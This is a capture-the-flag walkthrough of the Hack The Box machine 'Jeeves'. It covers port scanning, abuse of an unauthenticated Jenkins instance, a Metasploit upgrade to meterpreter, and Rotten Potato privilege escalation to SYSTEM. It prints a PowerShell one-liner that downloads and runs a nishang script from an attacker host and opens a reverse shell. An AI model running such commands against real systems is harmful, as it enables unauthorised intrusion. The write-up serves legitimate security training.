# Jeeves

## Nmap

I Started off scanning all ports and then a done a more intense scan on the ports found as per below:

```
nmap 10.10.10.63 -p- 

PORT      STATE SERVICE
80/tcp    open  http                                                                                                                                                          
135/tcp   open  msrpc                                                                                                                                                         
445/tcp   open  microsoft-ds                                                                                                                                                  
50000/tcp open  ibm-db2                                                                                                                                                       
                                                                                                                                                                                                                                                                                                                             
nmap 10.10.10.63 -p 80,135,445,50000 -A -T4
                                                                                                                                                                                                                                           
PORT      STATE SERVICE      VERSION                                                                                                                                                                                                       
80/tcp    open  http         Microsoft IIS httpd 10.0                                                                                                                                                                                      
| http-methods:                                                                                                                                                                                                                            
|_  Potentially risky methods: TRACE                                                                                                                                                                                                       
|_http-server-header: Microsoft-IIS/10.0                                                                                                                                                                                                   
|_http-title: Ask Jeeves                                                                                                                                                                                                                   
135/tcp   open  msrpc        Microsoft Windows RPC                                                                                                                                                                                         
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)                                                                                                                                                  
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 5h00m20s, deviation: 0s, median: 5h00m19s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-10-02T00:35:20
|_  start_date: 2020-10-01T00:50:42
```

I first tried `enum4linux` on SMB and did not get any valid hits for null session. I next moved onto port 80 whilst kicking off `gobuster` and `nikto` on port 80 and port 50000 since it has been reported as HTTP

![Kicking off multiple scans on port 80 and 50000](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-104666fc819462991b5569b81da97804c2bd5d1c%2Fimage.png?alt=media)

## Port 80

Port 80 directs us over to a AskJeeves web page.

![Port 80](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7b481c1564e5f9278f5e8ddf47c447e9bb88de7f%2Fimage.png?alt=media)

Entering a value into the field and searching produces a error page which on further inspection appears to be an image. Searching using potential SQL injections or any other search parameter produces the same result.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-400eaba9808547c8730f5558e78d552142ca98f4%2Fimage.png?alt=media)

When viewing page source we get the following:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-3677b04cd19a4a5a9c899d89076f0d3a5b99c676%2Fimage.png?alt=media)

Selecting "jeeves.PNG" takes us to the above image. Based on this I will not be spending anymore time on port 80 as we have still not inspected port 50000.

## Port 50000

Heading over to Port 50000 we land on the following page:

![Port 50000](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-45d60d73953fcf44136fe2fd9399a316f890dc2a%2Fimage.png?alt=media)

Clicking on the link takes us away to <https://eclipse.org/jetty/>

`gobuster` reveals a directory of /askjeeves/ on this port.

![/askjeeves/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-744f78923f0c21ee75ad9a6d9c15618d3601decf%2Fimage.png?alt=media)

Looks like we have unauthenticated access to Jenkins. As we have freedom of Jenkins we can select the "create new jobs" link. From here give the project a name and select "freestyle project".

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6da67f3d7f09ca4d7b22082723d3e9d6bc7ee3d5%2Fimage.png?alt=media)

On the next screen head down to "Build" and then select "Execute Windows batch command".

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cbf15c57247de5754fdc26d0497e75ab5e6dc504%2Fimage.png?alt=media)

On this next part we are going to use nishang Invoke-PowershellTcp to get a reverse shell on the machine.

run the following with root permissions to install `nishang`

```
sudo apt-get install nishang
```

After install we can find the nishang files at `/usr/share/nishang/shells` Start a python server in the shells directory as we will need to pull one of the files to gain shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-88a6540b6df7a93701821c3830bba23fd6e1679e%2Fimage.png?alt=media)

Set up a `netcat` listener. In this example I will be using port 443.

```
sudo nc -lvp 80
```

We can now insert the following command into the Jenkins batch command box. Changing IP and port where appropriate.

```
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-56f8c3998587558ed76106bd4ce29333bec84cbc%2Fimage.png?alt=media)

After you have completed this save the project at the bottom of the screen and then on the following screen select "Build now"

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-11ee6b13af8ed6f5e9e8f2ad10b36bfcffe306f4%2Fimage.png?alt=media)

You should notice the python server receives a GET request for the file specified with a HTTP code 200. If you have incorrectly spelt the file you will receive a code 404.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-538d35453207554c896c886094d47db9b8bb83eb%2Fimage.png?alt=media)

`netcat` should now pick up the shell and get you on the system as a low privilege account.

![low privilege shell.](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8c18d558c74ccf7f67a147894191b9aad5085287%2Fimage.png?alt=media)

From here we can grab the user.txt flag before moving onto privilege escalation.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-92d286e670e1ef89d1c8c53ac27f9e656b8b59fe%2Fimage.png?alt=media)

## Privilege Escalation

For privilege escalation we should start with the normal system enumeration. We can run system info and run this against `Windows_exploit_suggester.py`.

I have covered Windows\_exploit\_suggester usage here if you need to know how to use it:

{% embed url="<https://app.gitbook.com/@akimboviper/s/everything-windows/v/master/tools/enumeration/windows-exploit-suggester>" %}

After going through the results of the python script what sticks out to us is the following exploit:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1cd4b2dc5ef8c831b3bcfa7cd3263b50ebc553a7%2Fimage.png?alt=media)

FoxGlove Security have done a fantastic write up on the exploit which can be read here.

{% embed url="<https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/>" %}

We can run the command `whoami /priv` and see if we have any of the correct privileges to perform the exploit. the privilege `SeImpersonatePrivilege` will allow us to run the exploit for MS16-075. This privilege is usually given to service accounts.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ed94913b83e6838cd57a5015b2d1845ddbdaa7a8%2Fimage.png?alt=media)

We will be using `metasploi`t for the escalation and as such we will need to upgrade our shell to a meterpreter shell. Open `msfconsole` and search for `multi/script/web_delivery` set the correct options.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-4a7d4fb1914b6d553a8b1d6b9eda1f03cadd65d8%2Fimage.png?alt=media)

Run the module and it should create some Powershell code which needs to be run on the victim machine. The web\_delivery module will keep a listener open waiting for when the code is run. When we execute the code on the victim machine this should give us a meterpreter shell back (depend on the payload you selected).

![Generating the payload.](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2a3c16b677b744ab7d9227ec2d9d43b169e1ad95%2Fimage.png?alt=media)

![Running the payload on the victim machine](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1eca78e1acf26183bd515f1ca69973e799f2333c%2Fimage.png?alt=media)

After running we should receive a shell back in `msfconsole`.

![meterpreter shell](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9a859fb6b7090c3908969d5bdb8c11b0c8e130a6%2Fimage.png?alt=media)

We can now run a search for the exploit in `msfconsole` after back grounding our meterpreter session.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6381663730b9b421660cd4e4d087ad7c74f7ad30%2Fimage.png?alt=media)

Select options 1 for the juicy exploit and set the payload options. When you have filled out the correct information run the exploit and you should land a shell as system.

![NT Authority\System](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b59a45e8ea25fe6b6d9e4b19a3e591ac0c9eff68%2Fimage.png?alt=media)

From here we should be able to grab root.txt?

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5dda8b360afd93eaf6b0c775f3207b8e6e1137b2%2Fimage.png?alt=media)

Or not... Looks like we will have to look elsewhere.

After some time and looking literally everywhere I could not find the root flag. I eventually turned to the HTB forums for hints and eventually came to the right answer with the command `Dir /R` this command allows you to view alternative datastream (ADS) files.

![root flag](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6f64ac9bbfd7ce8ddb3272ec8234a00fe85966f8%2Fimage.png?alt=media)

After retrieving root I did a little research on finding ADS files as I do not believe I would have found this without a hint. Malwarebytes have done a great blog post on the subject and have provided some good methods for over coming this.

{% embed url="<https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/>" %}
